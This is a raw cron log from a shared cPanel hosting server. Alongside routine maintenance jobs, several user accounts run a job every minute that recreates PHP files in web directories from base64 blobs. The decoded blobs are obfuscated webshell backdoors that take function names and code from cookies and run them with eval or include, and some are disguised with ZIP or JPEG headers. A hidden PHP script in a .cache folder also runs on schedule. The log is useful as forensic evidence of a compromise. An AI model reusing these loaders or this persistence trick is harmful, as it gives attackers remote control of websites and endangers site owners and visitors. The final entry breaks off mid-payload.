Mar  1 04:32:02 medusa CROND[2961]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 04:32:02 medusa CROND[2959]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 04:32:02 medusa CROND[2962]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 04:32:02 medusa CROND[2965]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 04:32:02 medusa CROND[2964]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 04:32:02 medusa CROND[2966]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 04:32:02 medusa CROND[2969]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 04:32:02 medusa CROND[2972]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 04:32:02 medusa CROND[2973]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 04:32:02 medusa CROND[2977]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 04:32:02 medusa CROND[2971]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  1 04:33:02 medusa CROND[25174]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 04:33:02 medusa CROND[25175]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 04:33:02 medusa CROND[25176]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 04:33:02 medusa CROND[25177]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 04:33:02 medusa CROND[25178]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  1 04:33:02 medusa CROND[25179]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 04:33:02 medusa CROND[25182]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 04:33:02 medusa CROND[25183]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 04:33:02 medusa CROND[25184]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 04:33:02 medusa CROND[25185]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 04:33:02 medusa CROND[25186]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 04:33:02 medusa CROND[25189]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 04:34:01 medusa CROND[15371]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 04:34:01 medusa CROND[15408]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 04:34:01 medusa CROND[15410]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 04:34:01 medusa CROND[15409]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  1 04:34:01 medusa CROND[15411]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 04:34:01 medusa CROND[15414]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 04:34:01 medusa CROND[15415]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 04:34:01 medusa CROND[15417]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 04:34:01 medusa CROND[15416]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 04:34:01 medusa CROND[15419]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dk